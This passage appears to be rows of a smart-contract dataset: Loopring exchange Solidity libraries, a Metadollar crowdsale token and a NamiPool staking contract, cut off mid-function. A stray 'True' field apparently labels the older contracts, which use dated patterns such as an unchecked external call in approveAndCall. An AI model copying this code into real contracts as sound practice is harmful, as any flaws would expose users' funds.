/// @return True if the address is used for depositing ETH, else false.
function isETH(address addr)
external
view
returns (bool);
}
// File: contracts/core/iface/ILoopringV3.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ILoopringV3
/// @author Brecht Devos - <[email protected]>
/// @author Daniel Wang - <[email protected]>
abstract contract ILoopringV3 is Claimable
{
// == Events ==
event ExchangeStakeDeposited(address exchangeAddr, uint amount);
event ExchangeStakeWithdrawn(address exchangeAddr, uint amount);
event ExchangeStakeBurned(address exchangeAddr, uint amount);
event SettingsUpdated(uint time);
// == Public Variables ==
mapping (address => uint) internal exchangeStake;
uint public totalStake;
address public blockVerifierAddress;
uint public forcedWithdrawalFee;
uint public tokenRegistrationFeeLRCBase;
uint public tokenRegistrationFeeLRCDelta;
uint8 public protocolTakerFeeBips;
uint8 public protocolMakerFeeBips;
address payable public protocolFeeVault;
// == Public Functions ==
/// @dev Returns the LRC token address
/// @return the LRC token address
function lrcAddress()
external
view
virtual
returns (address);
/// @dev Updates the global exchange settings.
/// This function can only be called by the owner of this contract.
///
/// Warning: these new values will be used by existing and
/// new Loopring exchanges.
function updateSettings(
address payable _protocolFeeVault, // address(0) not allowed
address _blockVerifierAddress, // address(0) not allowed
uint _forcedWithdrawalFee
)
external
virtual;
/// @dev Updates the global protocol fee settings.
/// This function can only be called by the owner of this contract.
///
/// Warning: these new values will be used by existing and
/// new Loopring exchanges.
function updateProtocolFeeSettings(
uint8 _protocolTakerFeeBips,
uint8 _protocolMakerFeeBips
)
external
virtual;
/// @dev Gets the amount of staked LRC for an exchange.
/// @param exchangeAddr The address of the exchange
/// @return stakedLRC The amount of LRC
function getExchangeStake(
address exchangeAddr
)
public
virtual
view
returns (uint stakedLRC);
/// @dev Burns a certain amount of staked LRC for a specific exchange.
/// This function is meant to be called only from exchange contracts.
/// @return burnedLRC The amount of LRC burned. If the amount is greater than
/// the staked amount, all staked LRC will be burned.
function burnExchangeStake(
uint amount
)
external
virtual
returns (uint burnedLRC);
/// @dev Stakes more LRC for an exchange.
/// @param exchangeAddr The address of the exchange
/// @param amountLRC The amount of LRC to stake
/// @return stakedLRC The total amount of LRC staked for the exchange
function depositExchangeStake(
address exchangeAddr,
uint amountLRC
)
external
virtual
returns (uint stakedLRC);
/// @dev Withdraws a certain amount of staked LRC for an exchange to the given address.
/// This function is meant to be called only from within exchange contracts.
/// @param recipient The address to receive LRC
/// @param requestedAmount The amount of LRC to withdraw
/// @return amountLRC The amount of LRC withdrawn
function withdrawExchangeStake(
address recipient,
uint requestedAmount
)
external
virtual
returns (uint amountLRC);
/// @dev Gets the protocol fee values for an exchange.
/// @return takerFeeBips The protocol taker fee
/// @return makerFeeBips The protocol maker fee
function getProtocolFeeValues(
)
public
virtual
view
returns (
uint8 takerFeeBips,
uint8 makerFeeBips
);
}
// File: contracts/core/iface/ExchangeData.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ExchangeData
/// @dev All methods in this lib are internal, therefore, there is no need
/// to deploy this library independently.
/// @author Daniel Wang - <[email protected]>
/// @author Brecht Devos - <[email protected]>
library ExchangeData
{
// -- Enums --
enum TransactionType
{
NOOP,
DEPOSIT,
WITHDRAWAL,
TRANSFER,
SPOT_TRADE,
ACCOUNT_UPDATE,
AMM_UPDATE,
SIGNATURE_VERIFICATION,
NFT_MINT, // L2 NFT mint or L1-to-L2 NFT deposit
NFT_DATA
}
enum NftType
{
ERC1155,
ERC721
}
// -- Structs --
struct Token
{
address token;
}
struct ProtocolFeeData
{
uint32 syncedAt; // only valid before 2105 (85 years to go)
uint8 takerFeeBips;
uint8 makerFeeBips;
uint8 previousTakerFeeBips;
uint8 previousMakerFeeBips;
}
// General auxiliary data for each conditional transaction
struct AuxiliaryData
{
uint txIndex;
bool approved;
bytes data;
}
// This is the (virtual) block the owner needs to submit onchain to maintain the
// per-exchange (virtual) blockchain.
struct Block
{
uint8 blockType;
uint16 blockSize;
uint8 blockVersion;
bytes data;
uint256[8] proof;
// Whether we should store the @BlockInfo for this block on-chain.
bool storeBlockInfoOnchain;
// Block specific data that is only used to help process the block on-chain.
// It is not used as input for the circuits and it is not necessary for data-availability.
// This bytes array contains the abi encoded AuxiliaryData[] data.
bytes auxiliaryData;
// Arbitrary data, mainly for off-chain data-availability, i.e.,
// the multihash of the IPFS file that contains the block data.
bytes offchainData;
}
struct BlockInfo
{
// The time the block was submitted on-chain.
uint32 timestamp;
// The public data hash of the block (the 28 most significant bytes).
bytes28 blockDataHash;
}
// Represents an onchain deposit request.
struct Deposit
{
uint96 amount;
uint64 timestamp;
}
// A forced withdrawal request.
// If the actual owner of the account initiated the request (we don't know who the owner is
// at the time the request is being made) the full balance will be withdrawn.
struct ForcedWithdrawal
{
address owner;
uint64 timestamp;
}
struct Constants
{
uint SNARK_SCALAR_FIELD;
uint MAX_OPEN_FORCED_REQUESTS;
uint MAX_AGE_FORCED_REQUEST_UNTIL_WITHDRAW_MODE;
uint TIMESTAMP_HALF_WINDOW_SIZE_IN_SECONDS;
uint MAX_NUM_ACCOUNTS;
uint MAX_NUM_TOKENS;
uint MIN_AGE_PROTOCOL_FEES_UNTIL_UPDATED;
uint MIN_TIME_IN_SHUTDOWN;
uint TX_DATA_AVAILABILITY_SIZE;
uint MAX_AGE_DEPOSIT_UNTIL_WITHDRAWABLE_UPPERBOUND;
}
// This is the prime number that is used for the alt_bn128 elliptic curve, see EIP-196.
uint public constant SNARK_SCALAR_FIELD = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
uint public constant MAX_OPEN_FORCED_REQUESTS = 4096;
uint public constant MAX_AGE_FORCED_REQUEST_UNTIL_WITHDRAW_MODE = 15 days;
uint public constant TIMESTAMP_HALF_WINDOW_SIZE_IN_SECONDS = 7 days;
uint public constant MAX_NUM_ACCOUNTS = 2 ** 32;
uint public constant MAX_NUM_TOKENS = 2 ** 16;
uint public constant MIN_AGE_PROTOCOL_FEES_UNTIL_UPDATED = 7 days;
uint public constant MIN_TIME_IN_SHUTDOWN = 30 days;
// The amount of bytes each rollup transaction uses in the block data for data-availability.
// This is the maximum amount of bytes of all different transaction types.
uint32 public constant MAX_AGE_DEPOSIT_UNTIL_WITHDRAWABLE_UPPERBOUND = 15 days;
uint32 public constant ACCOUNTID_PROTOCOLFEE = 0;
uint public constant TX_DATA_AVAILABILITY_SIZE = 68;
uint public constant TX_DATA_AVAILABILITY_SIZE_PART_1 = 29;
uint public constant TX_DATA_AVAILABILITY_SIZE_PART_2 = 39;
uint public constant NFT_TOKEN_ID_START = 2 ** 15;
struct AccountLeaf
{
uint32 accountID;
address owner;
uint pubKeyX;
uint pubKeyY;
uint32 nonce;
uint feeBipsAMM;
}
struct BalanceLeaf
{
uint16 tokenID;
uint96 balance;
uint weightAMM;
uint storageRoot;
}
struct Nft
{
address minter; // Minter address for a L2 mint or
// the NFT's contract address in the case of a L1-to-L2 NFT deposit.
NftType nftType;
address token;
uint256 nftID;
uint8 creatorFeeBips;
}
struct MerkleProof
{
ExchangeData.AccountLeaf accountLeaf;
ExchangeData.BalanceLeaf balanceLeaf;
ExchangeData.Nft nft;
uint[48] accountMerkleProof;
uint[24] balanceMerkleProof;
}
struct BlockContext
{
bytes32 DOMAIN_SEPARATOR;
uint32 timestamp;
Block block;
uint txIndex;
}
// Represents the entire exchange state except the owner of the exchange.
struct State
{
uint32 maxAgeDepositUntilWithdrawable;
bytes32 DOMAIN_SEPARATOR;
ILoopringV3 loopring;
IBlockVerifier blockVerifier;
IAgentRegistry agentRegistry;
IDepositContract depositContract;
// The merkle root of the offchain data stored in a Merkle tree. The Merkle tree
// stores balances for users using an account model.
bytes32 merkleRoot;
// List of all blocks
mapping(uint => BlockInfo) blocks;
uint numBlocks;
// List of all tokens
Token[] tokens;
// A map from a token to its tokenID + 1
mapping (address => uint16) tokenToTokenId;
// A map from an accountID to a tokenID to if the balance is withdrawn
mapping (uint32 => mapping (uint16 => bool)) withdrawnInWithdrawMode;
// A map from an account to a token to the amount withdrawable for that account.
// This is only used when the automatic distribution of the withdrawal failed.
mapping (address => mapping (uint16 => uint)) amountWithdrawable;
// A map from an account to a token to the forced withdrawal (always full balance)
// The `uint16' represents ERC20 token ID (if < NFT_TOKEN_ID_START) or
// NFT balance slot (if >= NFT_TOKEN_ID_START)
mapping (uint32 => mapping (uint16 => ForcedWithdrawal)) pendingForcedWithdrawals;
// A map from an address to a token to a deposit
mapping (address => mapping (uint16 => Deposit)) pendingDeposits;
// A map from an account owner to an approved transaction hash to if the transaction is approved or not
mapping (address => mapping (bytes32 => bool)) approvedTx;
// A map from an account owner to a destination address to a tokenID to an amount to a storageID to a new recipient address
mapping (address => mapping (address => mapping (uint16 => mapping (uint => mapping (uint32 => address))))) withdrawalRecipient;
// Counter to keep track of how many of forced requests are open so we can limit the work that needs to be done by the owner
uint32 numPendingForcedTransactions;
// Cached data for the protocol fee
ProtocolFeeData protocolFeeData;
// Time when the exchange was shutdown
uint shutdownModeStartTime;
// Time when the exchange has entered withdrawal mode
uint withdrawalModeStartTime;
// Last time the protocol fee was withdrawn for a specific token
mapping (address => uint) protocolFeeLastWithdrawnTime;
// Duplicated loopring address
address loopringAddr;
// AMM fee bips
uint8 ammFeeBips;
// Enable/Disable `onchainTransferFrom`
bool allowOnchainTransferFrom;
// owner => NFT type => token address => nftID => Deposit
mapping (address => mapping (NftType => mapping (address => mapping(uint256 => Deposit)))) pendingNFTDeposits;
// owner => minter => NFT type => token address => nftID => amount withdrawable
// This is only used when the automatic distribution of the withdrawal failed.
mapping (address => mapping (address => mapping (NftType => mapping (address => mapping(uint256 => uint))))) amountWithdrawableNFT;
}
}
// File: contracts/lib/ERC20SafeTransfer.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ERC20 safe transfer
/// @dev see https://github.com/sec-bit/badERC20Fix
/// @author Brecht Devos - <[email protected]>
library ERC20SafeTransfer
{
function safeTransferAndVerify(
address token,
address to,
uint value
)
internal
{
safeTransferWithGasLimitAndVerify(
token,
to,
value,
gasleft()
);
}
function safeTransfer(
address token,
address to,
uint value
)
internal
returns (bool)
{
return safeTransferWithGasLimit(
token,
to,
value,
gasleft()
);
}
function safeTransferWithGasLimitAndVerify(
address token,
address to,
uint value,
uint gasLimit
)
internal
{
require(
safeTransferWithGasLimit(token, to, value, gasLimit),
"TRANSFER_FAILURE"
);
}
function safeTransferWithGasLimit(
address token,
address to,
uint value,
uint gasLimit
)
internal
returns (bool)
{
// A transfer is successful when 'call' is successful and depending on the token:
// - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false)
// - A single boolean is returned: this boolean needs to be true (non-zero)
// bytes4(keccak256("transfer(address,uint256)")) = 0xa9059cbb
bytes memory callData = abi.encodeWithSelector(
bytes4(0xa9059cbb),
to,
value
);
(bool success, ) = token.call{gas: gasLimit}(callData);
return checkReturnValue(success);
}
function safeTransferFromAndVerify(
address token,
address from,
address to,
uint value
)
internal
{
safeTransferFromWithGasLimitAndVerify(
token,
from,
to,
value,
gasleft()
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint value
)
internal
returns (bool)
{
return safeTransferFromWithGasLimit(
token,
from,
to,
value,
gasleft()
);
}
function safeTransferFromWithGasLimitAndVerify(
address token,
address from,
address to,
uint value,
uint gasLimit
)
internal
{
bool result = safeTransferFromWithGasLimit(
token,
from,
to,
value,
gasLimit
);
require(result, "TRANSFER_FAILURE");
}
function safeTransferFromWithGasLimit(
address token,
address from,
address to,
uint value,
uint gasLimit
)
internal
returns (bool)
{
// A transferFrom is successful when 'call' is successful and depending on the token:
// - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false)
// - A single boolean is returned: this boolean needs to be true (non-zero)
// bytes4(keccak256("transferFrom(address,address,uint256)")) = 0x23b872dd
bytes memory callData = abi.encodeWithSelector(
bytes4(0x23b872dd),
from,
to,
value
);
(bool success, ) = token.call{gas: gasLimit}(callData);
return checkReturnValue(success);
}
function checkReturnValue(
bool success
)
internal
pure
returns (bool)
{
// A transfer/transferFrom is successful when 'call' is successful and depending on the token:
// - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false)
// - A single boolean is returned: this boolean needs to be true (non-zero)
if (success) {
assembly {
switch returndatasize()
// Non-standard ERC20: nothing is returned so if 'call' was successful we assume the transfer succeeded
case 0 {
success := 1
}
// Standard ERC20: a single boolean value is returned which needs to be true
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
// None of the above: not successful
default {
success := 0
}
}
}
return success;
}
}
// File: contracts/core/impl/libexchange/ExchangeMode.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ExchangeMode.
/// @dev All methods in this lib are internal, therefore, there is no need
/// to deploy this library independently.
/// @author Brecht Devos - <[email protected]>
/// @author Daniel Wang - <[email protected]>
library ExchangeMode
{
using MathUint for uint;
function isInWithdrawalMode(
ExchangeData.State storage S
)
internal // inline call
view
returns (bool result)
{
result = S.withdrawalModeStartTime > 0;
}
function isShutdown(
ExchangeData.State storage S
)
internal // inline call
view
returns (bool)
{
return S.shutdownModeStartTime > 0;
}
function getNumAvailableForcedSlots(
ExchangeData.State storage S
)
internal
view
returns (uint)
{
return ExchangeData.MAX_OPEN_FORCED_REQUESTS - S.numPendingForcedTransactions;
}
}
// File: contracts/core/impl/libexchange/ExchangeTokens.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ExchangeTokens.
/// @author Daniel Wang - <[email protected]>
/// @author Brecht Devos - <[email protected]>
library ExchangeTokens
{
using MathUint for uint;
using ERC20SafeTransfer for address;
using ExchangeMode for ExchangeData.State;
event TokenRegistered(
address token,
uint16 tokenId
);
function getTokenAddress(
ExchangeData.State storage S,
uint16 tokenID
)
public
view
returns (address)
{
require(tokenID < S.tokens.length, "INVALID_TOKEN_ID");
return S.tokens[tokenID].token;
}
function registerToken(
ExchangeData.State storage S,
address tokenAddress
)
public
returns (uint16 tokenID)
{
require(!S.isInWithdrawalMode(), "INVALID_MODE");
require(S.tokenToTokenId[tokenAddress] == 0, "TOKEN_ALREADY_EXIST");
require(S.tokens.length < ExchangeData.NFT_TOKEN_ID_START, "TOKEN_REGISTRY_FULL");
// Check if the deposit contract supports the new token
if (S.depositContract != IDepositContract(0)) {
require(
S.depositContract.isTokenSupported(tokenAddress),
"UNSUPPORTED_TOKEN"
);
}
// Assign a tokenID and store the token
ExchangeData.Token memory token = ExchangeData.Token(
tokenAddress
);
tokenID = uint16(S.tokens.length);
S.tokens.push(token);
S.tokenToTokenId[tokenAddress] = tokenID + 1;
emit TokenRegistered(tokenAddress, tokenID);
}
function getTokenID(
ExchangeData.State storage S,
address tokenAddress
)
internal // inline call
view
returns (uint16 tokenID)
{
tokenID = S.tokenToTokenId[tokenAddress];
require(tokenID != 0, "TOKEN_NOT_FOUND");
tokenID = tokenID - 1;
}
function isNFT(uint16 tokenID)
internal // inline call
pure
returns (bool)
{
return tokenID >= ExchangeData.NFT_TOKEN_ID_START;
}
}
// File: contracts/core/impl/libexchange/ExchangeGenesis.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ExchangeGenesis.
/// @author Daniel Wang - <[email protected]>
/// @author Brecht Devos - <[email protected]>
library ExchangeGenesis
{
using ExchangeTokens for ExchangeData.State;
function initializeGenesisBlock(
ExchangeData.State storage S,
address _loopringAddr,
bytes32 _genesisMerkleRoot,
bytes32 _domainSeparator
)
public
{
require(address(0) != _loopringAddr, "INVALID_LOOPRING_ADDRESS");
require(_genesisMerkleRoot != 0, "INVALID_GENESIS_MERKLE_ROOT");
S.maxAgeDepositUntilWithdrawable = ExchangeData.MAX_AGE_DEPOSIT_UNTIL_WITHDRAWABLE_UPPERBOUND;
S.DOMAIN_SEPARATOR = _domainSeparator;
ILoopringV3 loopring = ILoopringV3(_loopringAddr);
S.loopring = loopring;
S.blockVerifier = IBlockVerifier(loopring.blockVerifierAddress());
S.merkleRoot = _genesisMerkleRoot;
S.blocks[0] = ExchangeData.BlockInfo(uint32(block.timestamp), bytes28(0));
S.numBlocks = 1;
// Get the protocol fees for this exchange
S.protocolFeeData.syncedAt = uint32(0);
S.protocolFeeData.takerFeeBips = S.loopring.protocolTakerFeeBips();
S.protocolFeeData.makerFeeBips = S.loopring.protocolMakerFeeBips();
S.protocolFeeData.previousTakerFeeBips = S.protocolFeeData.takerFeeBips;
S.protocolFeeData.previousMakerFeeBips = S.protocolFeeData.makerFeeBips;
// Call these after the main state has been set up
S.registerToken(address(0));
S.registerToken(loopring.lrcAddress());
}
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Metadollar' CROWDSALE token contract
//
// Deployed to : 0xdDf0a2d9BB180b5cc1c809E8e1F6E0Eb3a0fed62
// Symbol : MTD
// Name : Metadollar
// Total supply: 10,000,000,000
// Decimals : 18
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract MetadollarCrw is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonusEnds;
uint public endDate;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function MetadollarCrw() public {
symbol = "MTD";
name = "Metadollar";
decimals = 18;
bonusEnds = now + 1 weeks;
endDate = now + 12 weeks;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// 1000 MTD Tokens per 1 ETH
// ------------------------------------------------------------------------
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 1200;
} else {
tokens = msg.value * 1000;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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pragma solidity ^0.4.18;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
// ERC20 token interface is implemented only partially.
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract NamiPool {
using SafeMath for uint256;
function NamiPool(address _escrow, address _namiMultiSigWallet, address _namiAddress) public {
require(_namiMultiSigWallet != 0x0);
escrow = _escrow;
namiMultiSigWallet = _namiMultiSigWallet;
NamiAddr = _namiAddress;
}
string public name = "Nami Pool";
// escrow has exclusive priveleges to call administrative
// functions on this contract.
address public escrow;
// Gathered funds can be withdraw only to namimultisigwallet's address.
address public namiMultiSigWallet;
/// address of Nami token
address public NamiAddr;
modifier onlyEscrow() {
require(msg.sender == escrow);
_;
}
modifier onlyNami {
require(msg.sender == NamiAddr);
_;
}
modifier onlyNamiMultisig {
require(msg.sender == namiMultiSigWallet);
_;
}
uint public currentRound = 1;
struct ShareHolder {
uint stake;
bool isActive;
bool isWithdrawn;
}
struct Round {
bool isOpen;
uint currentNAC;
uint finalNAC;
uint ethBalance;
bool withdrawable; //for user not in top
bool topWithdrawable;
bool isCompleteActive;
bool isCloseEthPool;
}
mapping (uint => mapping (address => ShareHolder)) public namiPool;
mapping (uint => Round) public round;
// Events
event UpdateShareHolder(address indexed ShareHolderAddress, uint indexed RoundIndex, uint Stake, uint Time);
event Deposit(address sender,uint indexed RoundIndex, uint value);
event WithdrawPool(uint Amount, uint TimeWithdraw);
event UpdateActive(address indexed ShareHolderAddress, uint indexed RoundIndex, bool Status, uint Time);
event Withdraw(address indexed ShareHolderAddress, uint indexed RoundIndex, uint Ether, uint Nac, uint TimeWithdraw);
event ActivateRound(uint RoundIndex, uint TimeActive);
function changeEscrow(address _escrow)
onlyNamiMultisig
public
{
require(_escrow != 0x0);
escrow = _escrow;
}
function withdrawEther(uint _amount) public
onlyEscrow
{
require(namiMultiSigWallet != 0x0);
//
if (this.balance > 0) {
namiMultiSigWallet.transfer(_amount);
}
}
function withdrawNAC(uint _amount) public
onlyEscrow
{
require(namiMultiSigWallet != 0x0 && _amount != 0);
NamiCrowdSale namiToken = NamiCrowdSale(NamiAddr);
if (namiToken.balanceOf(this) > 0) {
namiToken.transfer(namiMultiSigWallet, _amount);
}
}
/*/
* Admin function
/*/
/*/ process of one round
* step 1: admin open one round by execute activateRound function
* step 2: now investor can invest Nac to Nac Pool until round closed
* step 3: admin close round, now investor cann't invest NAC to Pool
* step 4: admin activate top investor
* step 5: all top investor was activated, admin execute closeActive function to close active phrase
* step 6: admin open withdrawable for investor not in top to withdraw NAC
* step 7: admin deposit eth to eth pool
* step 8: close deposit eth to eth pool
* step 9: admin open withdrawable to investor in top
* step 10: investor in top now can withdraw NAC and ETH for this round
/*/
// ------------------------------------------------
/*
* Admin function
* Open and Close Round
*
*/
function activateRound(uint _roundIndex)
onlyEscrow
public
{
require(round[_roundIndex].isOpen == false && round[_roundIndex].isCloseEthPool == false && round[_roundIndex].isCompleteActive == false);
round[_roundIndex].isOpen = true;
currentRound = _roundIndex;
ActivateRound(_roundIndex, now);
}
function deactivateRound(uint _roundIndex)
onlyEscrow
public
{
require(round[_roundIndex].isOpen == true);
round[_roundIndex].isOpen = false;
}
// ------------------------------------------------
// this function add stake of ShareHolder
// investor can execute this function during round open
//
function tokenFallbackExchange(address _from, uint _value, uint _price) onlyNami public returns (bool success) {
// only on currentRound and active user can add stake
require(round[_price].isOpen == true && _value > 0);
// add stake
namiPool[_price][_from].stake = namiPool[_price][_from].stake.add(_value);
round[_price].currentNAC = round[_price].currentNAC.add(_value);
UpdateShareHolder(_from, _price, namiPool[_price][_from].stake, now);
return true;
}
/*
*
* Activate and deactivate user
* add or sub final Nac to compute stake to withdraw
*/
function activateUser(address _shareAddress, uint _roundId)
onlyEscrow
public
{
require(namiPool[_roundId][_shareAddress].isActive == false && namiPool[_roundId][_shareAddress].stake > 0);
require(round[_roundId].isCompleteActive == false && round[_roundId].isOpen == false);
namiPool[_roundId][_shareAddress].isActive = true;
round[_roundId].finalNAC = round[_roundId].finalNAC.add(namiPool[_roundId][_shareAddress].stake);
UpdateActive(_shareAddress, _roundId ,namiPool[_roundId][_shareAddress].isActive, now);
}
function deactivateUser(address _shareAddress, uint _roundId)
onlyEscrow
public
{
require(namiPool[_roundId][_shareAddress].isActive == true && namiPool[_roundId][_shareAddress].stake > 0);
require(round[_roundId].isCompleteActive == false && round[_roundId].isOpen == false);
namiPool[_roundId][_shareAddress].isActive = false;
round[_roundId].finalNAC = round[_roundId].finalNAC.sub(namiPool[_roundId][_shareAddress].stake);
UpdateActive(_shareAddress, _roundId ,namiPool[_roundId][_shareAddress].isActive, now);
}
// ------------------------------------------------
// admin close activate phrase to
//
//
function closeActive(uint _roundId)
onlyEscrow
public
{
require(round[_roundId].isCompleteActive == false && round[_roundId].isOpen == false);
round[_roundId].isCompleteActive = true;
}
//
//
// change Withdrawable for one round after every month
// for investor not in top
//
function changeWithdrawable(uint _roundIndex)
onlyEscrow
public
{
require(round[_roundIndex].isCompleteActive == true && round[_roundIndex].isOpen == false);
round[_roundIndex].withdrawable = !round[_roundIndex].withdrawable;
}
//
//
// change Withdrawable for one round after every month
// for investor in top
//
function changeTopWithdrawable(uint _roundIndex)
onlyEscrow
public
{
require(round[_roundIndex].isCompleteActive == true && round[_roundIndex].isOpen == false);
round[_roundIndex].topWithdrawable = !round[_roundIndex].topWithdrawable;
}
//
//
// after month admin deposit ETH to ETH Pool
//
//
function depositEthPool(uint _roundIndex)
payable public
onlyEscrow
{
require(msg.value > 0 && round[_roundIndex].isCloseEthPool == false && round[_roundIndex].isOpen == false);
if (msg.value > 0) {
round[_roundIndex].ethBalance = round[_roundIndex].ethBalance.add(msg.value);
Deposit(msg.sender, _roundIndex, msg.value);
}
}
//
//
function withdrawEthPool(uint _roundIndex, uint _amount)
public
onlyEscrow
{
require(round[_roundIndex].isCloseEthPool == false && round[_roundIndex].isOpen == false);
require(namiMultiSigWallet != 0x0);
//
if (_amount > 0) {
namiMultiSigWallet.transfer(_amount);
round[_roundIndex].ethBalance = round[_roundIndex].ethBalance.sub(_amount);
WithdrawPool(_amount, now);
}
}
//
// close phrase deposit ETH to Pool
//
function closeEthPool(uint _roundIndex)
public
onlyEscrow
{
require(round[_roundIndex].isCloseEthPool == false && round[_roundIndex].isCompleteActive == true && round[_roundIndex].isOpen == false);
round[_roundIndex].isCloseEthPool = true;
}
//
//
// withdraw NAC for investor
// internal function only can run by this smartcontract
//
//
function _withdrawNAC(address _shareAddress, uint _roundIndex) internal {
require(namiPool[_roundIndex][_shareAddress].stake > 0);
NamiCrowdSale namiToken = NamiCrowdSale(NamiAddr);
uint previousBalances = namiToken.balanceOf(this);
namiToken.transfer(_shareAddress, namiPool[_roundIndex][_shareAddress].stake);
// update current Nac pool balance
round[_roundIndex].currentNAC = round[_roundIndex].currentNAC.sub(namiPool[_roundIndex][_shareAddress].stake);
namiPool[_roundIndex][_shareAddress].stake = 0;
assert(previousBalances > namiToken.balanceOf(this));
}
//
//
// withdraw NAC and ETH for top investor
//
//
function withdrawTopForTeam(address _shareAddress, uint _roundIndex)
